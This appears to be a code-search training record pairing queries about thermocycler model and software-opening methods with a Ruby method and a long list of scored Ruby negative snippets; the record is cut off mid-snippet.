{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def template; end", "def template; end", "def template; end", "def template; end", "def template; end", "def template; end", "def template; end", "def templates; end", "def template_source\n raise NotImplementedError\n end", "def template() false end", "def implementation; end", "def implementation; end", "def custom; end", "def custom; end", "def private; end", "def template_for(file); end", "def template_name; end", "def template_name; end", "def rendered_templates; end", "def template(name); end", "def client_code(abstract_class)\n # ...\n abstract_class.template_method\n # ...\nend", "def client_code(abstract_class)\n # ...\n abstract_class.template_method\n # ...\nend", "def overrides; end", "def generate\n super\n end", "def template_map\n \n end", "def templates_for(file); end", "def extensions_for(template_class); end", "def extensions_for(template_class); end", "def add_template_pages; end", "def methods; end", "def methods; end", "def methods; end", "def methods; end", "def generic?; true; end", "def use_template(klass)\n define_singleton_method(:source_location) { klass.source_location }\n end", "def specie; end", "def specie; end", "def specie; end", "def specie; end", "def render\n raise NotImplementedError, 'this should be overridden by concrete sub-class'\n end", "def user_template\n super\n end", "def helpers; end", "def helpers; end", "def helpers; end", "def __in_erb_template;\n end", "def __in_erb_template;\n end", "def generate\n raise NotImplementedError\n end", "def generate\n raise NotImplementedError\n end", "def content_methods; end", "def read_template_file\n raise 'This is a generic store. Please use a subclass.'\n end", "def set_template\n end", "def get_template(template); end", "def templates=(_arg0); end", "def special\n override\n end", "def determine_template(options); end", "def generate\n raise \"must implement\"\n end", "def methods() end", "def method_missing(meth, *args, &block)\n if @template.respond_to?(meth)\n @template.send(meth, *args)\n else\n super\n end\n end", "def method_missing(meth, *args, &block)\n if @template.respond_to?(meth)\n @template.send(meth, *args)\n else\n super\n end\n end", "def get_template_name\n raise NotImplementedError.new(\"#{self.class.name}#area is an abstract method.\")\n end", "def virtual; end", "def initialize( * )\n\t\tsuper\n\t\t@template = self.load_template\n\tend", "def render!; raise NotImplementedError end", "def apply_template_before?; end", "def render\n # To be implemented.\n end", "def abstract!; end", "def find_templates(name, details, prefix, partial)\n raise NotImplementedError\n end", "def source(override); end", "def tag; raise 'Override this method'; end", "def render; end", "def render; end", "def render; end", "def render; end", "def render; end", "def >>(klass); @template.hook(klass); end", "def traits; end", "def type; super; end", "def dynamic; end", "def content\n raise \"Must be implemented.\" \n end", "def template_page(site); end", "def url_template; end", "def url_template; end", "def define_helpers; end", "def process_template name, args\n super name, args, [\"#@current_class##@current_method\"]\n end", "def render\n raise NotImplementedError\n end", "def template\n @template ||= self.class.template\n end", "def _template\n @template\n end", "def generate\n throw \"override me before innocent kittens are hurt!\"\n end", "def template_name=(_arg0); end", "def template_name=(_arg0); end", "def t\n @template\n end", "def abstract?; end", "def pack_template\n selfclass.pack_template\n end", "def generic_traps\n super\n end", "def specialty; end", "def generate_html\n # the individual descriptions for files and classes\n gen_into(@files)\n gen_into(@classes)\n # and the index files\n gen_file_index\n gen_class_index\n gen_method_index\n gen_main_index\n\n # this method is defined in the template file\n write_extra_pages if defined? write_extra_pages\n end", "def generate; end", "def generate; end", "def fulldoc_template; end", "def plain; end", "def initialize (template); @template = template; end" ]
[ "0.72262436", "0.72262436", "0.72262436", "0.72262436", "0.72262436", "0.72262436", "0.72262436", "0.7084784", "0.67786413", "0.65801907", "0.6579898", "0.6579898", "0.65321594", "0.65321594", "0.64671254", "0.64495146", "0.6384129", "0.6384129", "0.63770205", "0.6364216", "0.63466495", "0.63466495", "0.6301338", "0.62751055", "0.62335145", "0.6223962", "0.6211376", "0.6211376", "0.6190579", "0.61850333", "0.61850333", "0.61850333", "0.61850333", "0.61416674", "0.6131839", "0.6131126", "0.6131126", "0.6131126", "0.6131126", "0.6130765", "0.61243576", "0.60963947", "0.60963947", "0.60963947", "0.60841453", "0.60841453", "0.6055216", "0.6054382", "0.60516304", "0.60471016", "0.6025028", "0.6019205", "0.6018996", "0.5991717", "0.5989579", "0.59864324", "0.5979308", "0.5974374", "0.5974374", "0.59700495", "0.5955978", "0.5943313", "0.5856905", "0.584979", "0.58495176", "0.5844935", "0.5840613", "0.5834618", "0.58316314", "0.5813668", "0.5813668", "0.5813668", "0.5813668", "0.5813668", "0.58055925", "0.5801346", "0.5798986", "0.5793635", "0.57697344", "0.5762871", "0.576047", "0.576047", "0.57530504", "0.57461417", "0.5736096", "0.5731721", "0.5722783", "0.571768", "0.5705828", "0.5705828", "0.5699547", "0.5698184", "0.56917906", "0.5682296", "0.56810623", "0.56807536", "0.5671559", "0.5671559", "0.5657708", "0.5653082", "0.56516224" ]
0.0
-1
Getter Methods These should NOT be overridden in the concrete classes The model of the thermocycler
def model self.class.const_get(:MODEL) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def getters; end", "def model\n self\n end", "def model; end", "def model; end", "def model; end", "def model; end", "def model; end", "def model; end", "def model; end", "def model; end", "def model; end", "def model; end", "def get()\n \n end", "def model\n self::Model\n end", "def model\n end", "def model\n return @model\n end", "def model\n @model\n end", "def model\n @model\n end", "def model\n @model\n end", "def model\n @model\n end", "def model\n end", "def model\n end", "def model\n end", "def model\n return @model\n end", "def model\n return @model\n end", "def robot_model\n\t\t@robot_model\n\tend", "def model\n self.class.model\n end", "def model\n self.class.model\n end", "def model\n __getobj__\n end", "def model_class; end", "def make_and_model; end", "def obj\n @model\n end", "def thorins_company; end", "def hecto\n big_self * HECTO\n end", "def model\n self.public_send(self.class._attributes.first)\n end", "def weighting\n self.class.weighting\n end", "def hardware_model\n self.model\n end", "def concrete_model\n self.class\n end", "def model\n bond.model\n end", "def model\n nil\n end", "def model\n nil\n end", "def get\n self\n end", "def self_type; end", "def self_type; end", "def self_type; end", "def meta_model\n @work.class.name\n end", "def attribute; end", "def attribute; end", "def attribute; end", "def attribute; end", "def attribute; end", "def attribute; end", "def attribute; end", "def get_rover_details; end", "def model\n @filtered_rset.model\n end", "def model\n provider.model\n end", "def teacher\n self.teachers.first\n end", "def get\n raise NotImplementedError\n end", "def getc\n raise NotImplementedError\n end", "def private; end", "def weight\n puts 'used custom getter'\n 2\n end", "def model\n @model ||= operation.run\n end", "def model_name; end", "def model_name; end", "def getKnowledge\n\t\t\n\tend", "def to_model\n self\n end", "def _default_wrap_model; end", "def weight; end", "def model_attributes\n raise NotImplementedError\n end", "def model\n @model ||= resource.model\n end", "def specie; end", "def specie; end", "def specie; end", "def specie; end", "def attributes\n end", "def attributes; end", "def attributes; end", "def attributes; end", "def attributes; end", "def attributes; end", "def attributes; end", "def attributes; end", "def attributes; end", "def attributes; end", "def attributes; end", "def attributes; end", "def cti_table_model\n @cti_models.last\n end", "def class\n @model.class\n end", "def trophies\n trophies = Trophy.where(user_id:self.id) \n return trophies\n end", "def obj\n self\n end", "def value\n self\n end", "def self_types; end", "def self_types; end", "def thnum()\n #This is a stub, used for indexing\n end", "def attributes\r\n self.class.attributes\r\n end", "def to_model\n self\n end", "def model\n @model ||= @fact_model.model\n end", "def model\n @model ||= Model.new(self)\n end", "def to_model\n self\n end", "def to_model\n self\n end" ]
[ "0.64142674", "0.6403084", "0.6393537", "0.6393537", "0.6393537", "0.6393537", "0.6393537", "0.6393537", "0.6393537", "0.6393537", "0.6393537", "0.6393537", "0.6380317", "0.62452114", "0.6233067", "0.6179576", "0.6176737", "0.6176737", "0.6176737", "0.6176737", "0.6149099", "0.6149099", "0.6149099", "0.614232", "0.614232", "0.60256225", "0.6012293", "0.6012293", "0.5969392", "0.5964937", "0.59560984", "0.58463174", "0.58260226", "0.5811246", "0.5796497", "0.5787363", "0.5771129", "0.57212317", "0.57143754", "0.57141477", "0.57141477", "0.5680326", "0.5668766", "0.5668766", "0.5668766", "0.5633737", "0.5617802", "0.5617802", "0.5617802", "0.5617802", "0.5617802", "0.5617802", "0.5617802", "0.5611737", "0.5610534", "0.5589852", "0.5572708", "0.5568785", "0.5565845", "0.55602443", "0.5554314", "0.55534935", "0.553761", "0.553761", "0.5522246", "0.55202776", "0.5498452", "0.5485271", "0.5485163", "0.5482787", "0.54732543", "0.54732543", "0.54732543", "0.54732543", "0.5454347", "0.54511124", "0.54511124", "0.54511124", "0.54511124", "0.54511124", "0.54511124", "0.54511124", "0.54511124", "0.54511124", "0.54511124", "0.54511124", "0.5450611", "0.5450388", "0.5446672", "0.5445083", "0.54328024", "0.54288363", "0.54288363", "0.5425536", "0.54160005", "0.54054785", "0.540226", "0.54014003", "0.5397824", "0.5397824" ]
0.5659006
45
Language Methods These methods are not very specific and will probably need to be overridden in the concrete classes. Instructions for opening the software that controls the thermocycler
def open_software "Open #{software_name}" end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def language_client; end", "def language_server; end", "def language; end", "def language; end", "def language; end", "def language; end", "def language_aware!\n\t\traise_if_error C.glyr_opt_lang_aware_only(to_native, true)\n\tend", "def opening; end", "def opening; end", "def opening; end", "def do_something_else(language)\n puts \"#{language} is the best programming language\"\nend", "def scientist; end", "def platform; end", "def platform; end", "def platform; end", "def learning_new\n puts \"I am Learning #{TECH_ONE}\"\n end", "def language\n @language ||= if %W[rbx maglev].any? { |name| engine == name }\n CPlusPlus\n elsif platform =~ /java/\n Java\n else\n C\n end\n end", "def england\n end", "def how_it_works\r\n end", "def operate_switch_language(code)\n #callback(:before_switch_language)\n @translation_cache = {} if @translation_cache.nil?\n facet_names = self.class.globalize_facets\n @translation_cache[language_code] = @attributes.dup.delete_if {|key, value| !facet_names.include? key.to_sym}\n Locale.switch(code) do\n set_original_language\n if @translation_cache.include? code\n @attributes.update @translation_cache[code]\n elsif @original_language == Locale.base_language and !@new_record\n reload\n elsif !@new_record\n trs = ModelTranslation.find(:all, \n :conditions => [ \"table_name = ? AND item_id = ? AND language_id = ? AND \" +\n \"facet IN (#{[ '?' ] * facet_names.size * ', '})\", self.class.table_name,\n self.id, @original_language.id ] + facet_names.map {|facet| facet.to_s} )\n trs ||= []\n trs.each do |tr|\n attr = tr.text || base[tr.facet.to_s]\n write_attribute( tr.facet, attr )\n end\n end\n \n operate_switch_language_on_associations(code)\n \n #callback(:after_switch_language)\n end\n end", "def tralics_commands\n base_commands = <<-'EOS'\n% Commands specific to Tralics\n\\def\\hyperref[#1]#2{\\xmlelt{a}{\\XMLaddatt{target}{#1}#2}}\n\\newcommand{\\heading}[1]{\\xmlelt{heading}{#1}}\n\\newcommand{\\codecaption}[1]{\\xmlelt{heading}{#1}}\n\\newcommand{\\sout}[1]{\\xmlelt{sout}{#1}}\n\\newcommand{\\kode}[1]{\\xmlelt{kode}{#1}}\n\\newcommand{\\coloredtext}[2]{\\xmlelt{coloredtext}{\\AddAttToCurrent{color}{#1}#2}}\n\\newcommand{\\coloredtexthtml}[2]{\\xmlelt{coloredtexthtml}{\\AddAttToCurrent{color}{#1}#2}}\n\\newcommand{\\filepath}[1]{\\xmlelt{filepath}{#1}}\n\\newcommand{\\image}[1]{\\xmlelt{image}{#1}}\n\\newcommand{\\imagebox}[1]{\\xmlelt{imagebox}{#1}}\n% Ignore pbox argument, just replacing with content.\n\\newcommand{\\pbox}[2]{#2}\n% Ignore some other commands.\n\\newcommand{\\includepdf}[1]{}\n\\newcommand{\\newunicodechar}[2]{}\n\\newcommand{\\extrafloats}[1]{}\n EOS\n custom_commands = <<-EOS\n\\\\usepackage{amsthm}\n\\\\theoremstyle{definition}\n\\\\newtheorem{codelisting}{#{language_labels[\"listing\"]}}[chapter]\n\\\\newtheorem{aside}{#{language_labels[\"aside\"]}}[chapter]\n EOS\n [base_commands, custom_commands].join(\"\\n\")\n end", "def whiny; end", "def win; end", "def risd_terminology # :nologin:\n end", "def learn_human_languages\n puts \"Do you want to learn English?\"\n puts \"1. Yes\"\n puts \"2. No\"\n\n english = get_data\n\n if english == \"1\"\n learn_english\n else\n babel = \"https://www.youtube.com/playlist?list=PLfKvL-VUSKAnkBk88BAb3oq1MlGVnhwcY\"\n puts \"If you want to learn other languages, check this out for FREE: #{babel}\"\n starter_kit\n podia\n end\nend", "def use_technology_preview; end", "def vanilla_windows?; end", "def init_linguistics\n Linguistics::use(:en)\nend", "def language_interpreter\n # Do not show this block in CYA if the user didn't yet reach this step\n # (we know because the array will be `nil` in that case).\n return [] if arrangement.language_options.nil?\n\n AnswersGroup.new(\n :language_interpreter,\n [\n Answer.new(\n :language_interpreter,\n arrangement.language_options.include?(LanguageHelp::LANGUAGE_INTERPRETER.to_s).to_s\n ),\n FreeTextAnswer.new(:language_interpreter_details, arrangement.language_interpreter_details),\n Answer.new(\n :sign_language_interpreter,\n arrangement.language_options.include?(LanguageHelp::SIGN_LANGUAGE_INTERPRETER.to_s).to_s\n ),\n FreeTextAnswer.new(:sign_language_interpreter_details, arrangement.sign_language_interpreter_details),\n Answer.new(\n :welsh_language,\n arrangement.language_options.include?(LanguageHelp::WELSH_LANGUAGE.to_s).to_s\n ),\n FreeTextAnswer.new(:welsh_language_details, arrangement.welsh_language_details),\n ],\n change_path: edit_steps_attending_court_language_path\n )\n end", "def lsi; end", "def about_us; end", "def who_we_are\r\n end", "def letzte_komponente\n \n end", "def add_language_terminology(t)\n t.language(:path=>\"language\"){\n t.lang_text(:path=>\"languageTerm\", :attributes=>{:type=>\"text\"})\n t.lang_code(:path=>\"languageTerm\", :attributes=>{:type=>\"code\"})\n }\n t.language_text(:proxy=>[:language, :lang_text], :index_as=>[:displayable, :facetable])\n t.language_code(:proxy=>[:language, :lang_code], :index_as=>[:displayable])\n end", "def languagePreference\r\n if @openstudio_2\r\n super\r\n else\r\n @language_preference\r\n end\r\n end", "def use_technology_preview=(_arg0); end", "def initialize(name, owner, language)\r\n super(name, owner)\r\n self.language = language\r\n @prog = nil\r\n end", "def language()\r\n\t\treturn \"java\" if (@file =~ /java\\Z/ )\r\n\t\treturn \"cpp\" if ( (@file =~ /cpp\\Z/) || (@file =~ /cc\\Z/) || (@file =~ /h\\Z/) || (@file =~ /hpp\\Z/) )\r\n\tend", "def special_usage\n puts \"Available Options for Specialty Tools Menu: \".underline.white\n puts \"back \".light_yellow + \" => \".white + \"Return to Main Menu\".light_red\n puts \"coldfusion\".light_yellow + \" => \".white + \"Coldfusion Tools\".light_red\n puts \"moinmoin\".light_yellow + \" => \".white + \"MoinMoin RCE\".light_red\n puts \"phpcgi\".light_yellow + \" => \".white + \"PHP CGI RCE Tools\".light_red\n puts \"phpBB\".light_yellow + \" => \".white + \"phpBB Tools\".light_red\n puts \"ipb\".light_yellow + \" => \".white + \"IPB Tools\".light_red\n# puts \"joomla\".light_yellow + \" => \".white + \"Joomla! Tools\".light_red\n# puts \"myBB\".light_yellow + \" => \".white + \"MyBB Tools\".light_red\n# puts \"vBulletin\".light_yellow + \" => \".white + \"vBulletin Tools\".light_red\n puts \"wp\".light_yellow + \" => \".white + \"WordPress Tools\".light_red\n puts \"fckeditor\".light_yellow + \" => \".white + \"FCKEditor Tools\".light_red\n print_line(\"\")\nend", "def switch_language\n language = locale('Español', 'English')\n go_to language\n end", "def switch(name,aliases,desc,long_desc,negatable)\n abstract!\n end", "def bellini; end", "def major; end", "def major; end", "def major; end", "def maintenance_help\n puts \"Valid maintenance types are:\"\n Spinneret::Maintenance.constants.each { |cls| puts \" #{cls.to_s}\" }\n puts \"Note that capitalization *is* important and that Opportunistic is\"\n puts \"note a valid maintenance mode by itself.\"\nend", "def loadHandinPage\n\n updateModules()\n if @modulesUsed.include?(\"Svn\") then\n svnLoadHandinPage()\n else\n super()\n end\n end", "def open_shell()\n\t\traise NotImplementedError\n\tend", "def support\n end", "def mech; end", "def mech; end", "def activate; end", "def language_menu\n puts \"\\nPlease select the appropriate keyboard layout!\"\n print \"\n \\n1) us \\\n \\n2) be \\\n \\n3) it \\\n \\n4) dk \\\n \\n5) es \\\n \\n6) uk \\\n \\n7) sv \\\n \\n8) ru \\\n \\n9) pt \\\n \\n10) de \\\n \\n11) no \\\n \\n12) fr\\n\"\n Readline.readline('> ', true)\n end", "def _lex_actions; end", "def help; end", "def help; end", "def help; end", "def chondromyxoma(buckshee, uncongenially_chiquitan)\n end", "def modeler_description\n return \"NOTE: This will load and respond slowly in the OS app, especially if you select * on a variable with many possible keys or you select timestep data. Suggest you open it in a web browser like Chrome instead.\"\n end", "def terpene; end", "def server_software; end", "def toggle_menu menu_text=nil\n unless menu_text\n h = { \n # :h => :toggle_hidden, \n :c => :toggle_case, :l => :toggle_long_list , \"1\" => :toggle_columns, \n :g => :use_gui_browser, :t => :use_text_browser}\n ch, menu_text = menu \"Toggle Menu\", h\n end\n case menu_text\n when :toggle_hidden\n $hidden = $hidden ? nil : \"D\"\n refresh\n when :toggle_case\n #$ignorecase = $ignorecase ? \"\" : \"i\"\n $ignorecase = !$ignorecase\n refresh\n when :toggle_columns\n $gviscols = 3 if $gviscols == 1\n $long_listing = false if $gviscols > 1 \n x = $grows * $gviscols\n $pagesize = $pagesize==x ? $grows : x\n when :use_gui_browser\n $open_command = $browser_gui || \"open\"\n when :use_text_browser \n $open_command = $browser_text || \"elinks\"\n\n when :toggle_long_list\n $long_listing = !$long_listing\n if $long_listing\n $gviscols = 1\n $pagesize = $grows\n else\n x = $grows * $gviscols\n $pagesize = $pagesize==x ? $grows : x\n end\n refresh\n end\nend", "def system\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 20 )\n\n\n begin\n # at line 132:5: SYSTEM IDENT ( CLOSE | NL ( class_body )* CLOSE )\n match( SYSTEM, TOKENS_FOLLOWING_SYSTEM_IN_system_968 )\n match( IDENT, TOKENS_FOLLOWING_IDENT_IN_system_970 )\n # at line 133:3: ( CLOSE | NL ( class_body )* CLOSE )\n alt_35 = 2\n look_35_0 = @input.peek( 1 )\n\n if ( look_35_0 == CLOSE )\n alt_35 = 1\n elsif ( look_35_0 == NL )\n alt_35 = 2\n else\n @state.backtracking > 0 and raise( ANTLR3::Error::BacktrackingFailed )\n\n\n\n raise NoViableAlternative( \"\", 35, 0 )\n\n end\n case alt_35\n when 1\n # at line 133:5: CLOSE\n match( CLOSE, TOKENS_FOLLOWING_CLOSE_IN_system_976 )\n\n when 2\n # at line 133:13: NL ( class_body )* CLOSE\n match( NL, TOKENS_FOLLOWING_NL_IN_system_980 )\n # at line 133:16: ( class_body )*\n while true # decision 34\n alt_34 = 2\n look_34_0 = @input.peek( 1 )\n\n if ( look_34_0 == IDENT || look_34_0 == INIT || look_34_0 == OPEN || look_34_0.between?( TYPE_BOOL, TYPE_VOID ) || look_34_0 == T__41 )\n alt_34 = 1\n\n end\n case alt_34\n when 1\n # at line 133:16: class_body\n @state.following.push( TOKENS_FOLLOWING_class_body_IN_system_982 )\n class_body\n @state.following.pop\n\n else\n break # out of loop for decision 34\n end\n end # loop for decision 34\n\n match( CLOSE, TOKENS_FOLLOWING_CLOSE_IN_system_985 )\n\n end\n\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 20 )\n\n\n end\n\n return \n end", "def software_hotfix\n super\n end", "def do_show_lang\n $document.at_css('#tryruby-lang-hider').toggle_class('hidden')\n end", "def hello_world language\n if language == \"es\"\n puts \"Hola, Mundo\"\n elsif language == \"de\"\n puts \"Hallo Welt\"\n elsif language == \"ru\"\n puts \"Privet, mir\"\n elsif language == \"ja\"\n puts \"Kon'nichiwa sekai\"\n else\n puts \"Hello, World\"\n end\nend", "def in_law; end", "def starten\n create_fox_components\n instance_final_activate\n activate\n end", "def language\n case \n when self.ENU || self.ENG then \"ENG\"\n when self.SPM || self.SPE then \"SPE\"\n when self.FRC || self.FRF then \"FRF\"\n when self.ITI then \"ITI\"\n when self.DUN then \"DUN\"\n when self.GED then \"GED\"\n end\n end", "def detect_language\n self.language = LanguageDetector.new(self).detect\n end", "def synpred83_Compilador\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 147 )\n\n\n # at line 581:51: usar_metodo\n @state.following.push( TOKENS_FOLLOWING_usar_metodo_IN_synpred83_Compilador_2879 )\n usar_metodo\n @state.following.pop\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 147 )\n\n\n end", "def arguments(workspace)\n args = OpenStudio::Ruleset::OSArgumentVector.new\n\n glzsys = OpenStudio::StringVector.new\n glzsys << \"Single_Pane\"\n glzsys << \"Double_Pane\"\n glzsys << \"Triple_Pane\"\n glzsys << \"VIG\"\n glzsys << \"ASHRAE_Detailed\"\n glzsys << \"Static\"\n glzsys << \"SwitchGlaze\"\n \n glztype = OpenStudio::Ruleset::OSArgument::makeChoiceArgument('glztype', glzsys, true)\n glztype.setDisplayName(\"Choice of IGU\")\n glztype.setDefaultValue(\"SwitchGlaze\")\n args << glztype\n \n #make choice arguments for fenestration surface\n fenestrationsurfaces = workspace.getObjectsByType(\"FenestrationSurface:Detailed\".to_IddObjectType)\n chs = OpenStudio::StringVector.new\n fenestrationsurfaces.each do |fenestrationsurface|\n chs << fenestrationsurface.name.to_s\n end\n chs << $allchoices\n chs << \"inferred\"\n choice = OpenStudio::Ruleset::OSArgument::makeChoiceArgument('choice', chs, true)\n choice.setDisplayName(\"Choice of window\")\n choice.setDefaultValue($allchoices)\n args << choice\n \n # path to the folder that includes idf files containing window objects\n idf_path = OpenStudio::Ruleset::OSArgument.makeStringArgument(\"idf_path\", true)\n idf_path.setDisplayName(\"path to the folder that includes idf files containing window objects\")\n idf_path.setDefaultValue('C:\\SpectralIDFs')\n args << idf_path\n \n # thermochromic window switching temperature\n t_switching = OpenStudio::Ruleset::OSArgument.makeDoubleArgument(\"t_switching\", true)\n t_switching.setDisplayName(\"Switching temperature of a thermochromic window\")\n t_switching.setDescription('Only applicable when thermochromic window is selected')\n t_switching.setUnits(\"C\")\n t_switching.setDefaultValue(35)\n args << t_switching\n \n # \n serverrun = OpenStudio::Ruleset::OSArgument::makeBoolArgument('serverrun', false)\n serverrun.setDisplayName('Running on the server (and not in local)?')\n serverrun.setDefaultValue('false')\n serverrun.setDescription('Select if simulation is being ran on the server')\n args << serverrun\n\n return args\n end", "def language\n compiler && @compiler.class.language\n end", "def forkless(interspinous_interdevour, cladodontid_michel)\n end", "def musician; end", "def musician; end", "def opening_lines \n puts \"What would you like to do?\"\n puts \"(C)reate, (L)ist, (U)pdate, (D)elete, (Q)uit\"\n end", "def motto; end", "def main_window ; end", "def copyright\n contexts.shorttext7\n end", "def set_win_lang_codes(lcode)\n lcode[0x0436] = 'af;Afrikaans'\n lcode[0x041C] = 'sq;Albanian'\n lcode[0x0001] = 'ar;Arabic'\n lcode[0x0401] = 'ar-sa;Arabic (Saudi Arabia)'\n lcode[0x0801] = 'ar-iq;Arabic (Iraq)'\n lcode[0x0C01] = 'ar-eg;Arabic (Egypt)'\n lcode[0x1001] = 'ar-ly;Arabic (Libya)'\n lcode[0x1401] = 'ar-dz;Arabic (Algeria)'\n lcode[0x1801] = 'ar-ma;Arabic (Morocco)'\n lcode[0x1C01] = 'ar-tn;Arabic (Tunisia)'\n lcode[0x2001] = 'ar-om;Arabic (Oman)'\n lcode[0x2401] = 'ar-ye;Arabic (Yemen)'\n lcode[0x2801] = 'ar-sy;Arabic (Syria)'\n lcode[0x2C01] = 'ar-jo;Arabic (Jordan)'\n lcode[0x3001] = 'ar-lb;Arabic (Lebanon)'\n lcode[0x3401] = 'ar-kw;Arabic (Kuwait)'\n lcode[0x3801] = 'ar-ae;Arabic (you.A.E.)'\n lcode[0x3C01] = 'ar-bh;Arabic (Bahrain)'\n lcode[0x4001] = 'ar-qa;Arabic (Qatar)'\n lcode[0x042D] = 'eu;Basque'\n lcode[0x0402] = 'bg;Bulgarian'\n lcode[0x0423] = 'be;Belarusian'\n lcode[0x0403] = 'ca;Catalan'\n lcode[0x0004] = 'zh;Chinese'\n lcode[0x0404] = 'zh-tw;Chinese (Taiwan)'\n lcode[0x0804] = 'zh-cn;Chinese (China)'\n lcode[0x0C04] = 'zh-hk;Chinese (Hong Kong SAR)'\n lcode[0x1004] = 'zh-sg;Chinese (Singapore)'\n lcode[0x041A] = 'hr;Croatian'\n lcode[0x0405] = 'cs;Czech'\n lcode[0x0406] = 'da;Danish' #changed from \"the\"\n lcode[0x0413] = 'nl;Dutch (Netherlands)'\n lcode[0x0813] = 'nl-be;Dutch (Belgium)'\n lcode[0x0009] = 'en;English'\n lcode[0x0409] = 'en-us;English (United States)'\n lcode[0x0809] = 'en-gb;English (United Kingdom)'\n lcode[0x0C09] = 'en-au;English (Australia)'\n lcode[0x1009] = 'en-ca;English (Canada)'\n lcode[0x1409] = 'en-nz;English (New Zealand)'\n lcode[0x1809] = 'en-ie;English (Ireland)'\n lcode[0x1C09] = 'en-za;English (South Africa)'\n lcode[0x2009] = 'en-jm;English (Jamaica)'\n lcode[0x2809] = 'en-bz;English (Belize)'\n lcode[0x2C09] = 'en-tt;English (Trinidad)'\n lcode[0x0425] = 'et;Estonian'\n lcode[0x0438] = 'fo;Faeroese'\n lcode[0x0429] = 'fa;Farsi'\n lcode[0x040B] = 'fi;Finnish'\n lcode[0x040C] = 'fr;French (France)'\n lcode[0x080C] = 'fr-be;French (Belgium)'\n lcode[0x0C0C] = 'fr-ca;French (Canada)'\n lcode[0x100C] = 'fr-ch;French (Switzerland)'\n lcode[0x140C] = 'fr-lu;French (Luxembourg)'\n lcode[0x043C] = 'gd;Gaelic'\n lcode[0x0407] = 'de;German (Germany)'\n lcode[0x0807] = 'de-ch;German (Switzerland)'\n lcode[0x0C07] = 'de-at;German (Austria)'\n lcode[0x1007] = 'de-lu;German (Luxembourg)'\n lcode[0x1407] = 'de-li;German (Liechtenstein)'\n lcode[0x0408] = 'el;Greek'\n lcode[0x040D] = 'he;Hebrew'\n lcode[0x0439] = 'hi;Hindi'\n lcode[0x040E] = 'hu;Hungarian'\n lcode[0x040F] = 'is;Icelandic'\n lcode[0x0421] = 'in;Indonesian'\n lcode[0x0410] = 'it;Italian (Italy)'\n lcode[0x0810] = 'it-ch;Italian (Switzerland)'\n lcode[0x0411] = 'ja;Japanese'\n lcode[0x0412] = 'ko;Korean'\n lcode[0x0426] = 'lv;Latvian'\n lcode[0x0427] = 'lt;Lithuanian'\n lcode[0x042F] = 'mk;FYRO Macedonian'\n lcode[0x043E] = 'ms;Malay (Malaysia)'\n lcode[0x043A] = 'mt;Maltese'\n lcode[0x0414] = 'no;Norwegian (Bokmal)'\n lcode[0x0814] = 'no;Norwegian (Nynorsk)'\n lcode[0x0415] = 'pl;Polish'\n lcode[0x0416] = 'pt-br;Portuguese (Brazil)'\n lcode[0x0816] = 'pt;Portuguese (Portugal)'\n lcode[0x0417] = 'rm;Rhaeto-Romanic'\n lcode[0x0418] = 'ro;Romanian'\n lcode[0x0818] = 'ro-mo;Romanian (Moldova)'\n lcode[0x0419] = 'ru;Russian'\n lcode[0x0819] = 'ru-mo;Russian (Moldova)'\n lcode[0x0C1A] = 'sr;Serbian (Cyrillic)'\n lcode[0x081A] = 'sr;Serbian (Latin)'\n lcode[0x041B] = 'sk;Slovak'\n lcode[0x0424] = 'sl;Slovenian'\n lcode[0x042E] = 'sb;Sorbian'\n lcode[0x040A] = 'es;Spanish (Traditional Sort)'\n lcode[0x080A] = 'es-mx;Spanish (Mexico)'\n lcode[0x0C0A] = 'es;Spanish (International Sort)'\n lcode[0x100A] = 'es-gt;Spanish (Guatemala)'\n lcode[0x140A] = 'es-cr;Spanish (Costa Rica)'\n lcode[0x180A] = 'es-pa;Spanish (Panama)'\n lcode[0x1C0A] = 'es-do;Spanish (Dominican Republic)'\n lcode[0x200A] = 'es-ve;Spanish (Venezuela)'\n lcode[0x240A] = 'es-co;Spanish (Colombia)'\n lcode[0x280A] = 'es-pe;Spanish (Peru)'\n lcode[0x2C0A] = 'es-ar;Spanish (Argentina)'\n lcode[0x300A] = 'es-ec;Spanish (Ecuador)'\n lcode[0x340A] = 'es-cl;Spanish (Chile)'\n lcode[0x380A] = 'es-uy;Spanish (Uruguay)'\n lcode[0x3C0A] = 'es-py;Spanish (Paraguay)'\n lcode[0x400A] = 'es-bo;Spanish (Bolivia)'\n lcode[0x440A] = 'es-sv;Spanish (El Salvador)'\n lcode[0x480A] = 'es-hn;Spanish (Honduras)'\n lcode[0x4C0A] = 'es-ni;Spanish (Nicaragua)'\n lcode[0x500A] = 'es-pr;Spanish (Puerto Rico)'\n lcode[0x0430] = 'sx;Sutu'\n lcode[0x041D] = 'sv;Swedish'\n lcode[0x081D] = 'sv-fi;Swedish (Finland)'\n lcode[0x041E] = 'th;Thai'\n lcode[0x0431] = 'ts;Tsonga'\n lcode[0x0432] = 'tn;Tswana'\n lcode[0x041F] = 'tr;Turkish'\n lcode[0x0422] = 'uk;Ukrainian'\n lcode[0x0420] = 'ur;Urdu' #changed from \"your\"\n lcode[0x042A] = 'vi;Vietnamese'\n lcode[0x0434] = 'xh;Xhosa'\n lcode[0x043D] = 'ji;Yiddish'\n lcode[0x0435] = 'zu;Zulu'\nend", "def current_engine\n end", "def load\n reload_rh_texts unless PSDK_CONFIG.release?\n lang = ($pokemon_party ? $pokemon_party.options.language : default_lang)\n unless lang && Available_Langs.include?(lang)\n log_error \"Unsupported language code (#{lang}).\\nSupported language code are : #{Available_Langs.join(', ')}\"\n lang = Available_Langs.first\n log_info \"Fallback language code : #{lang}\"\n end\n @lang = lang\n @dialogs.clear\n end", "def blg; end", "def init_bottomline\n unless @bottomline\n require 'forwardable'\n require 'rbcurse/extras/bottomline'\n @bottomline = Bottomline.new self, $error_message_row\n @bottomline.name = \"window.rb\"\n extend Forwardable\n def_delegators :@bottomline, :ask, :say, :agree, :choose\n end\n end", "def lang; end", "def lang; end", "def lang; end", "def lang; end", "def _lex_trans_actions; end", "def _lex_trans_actions; end", "def _lex_trans_actions; end", "def _lex_trans_actions; end", "def 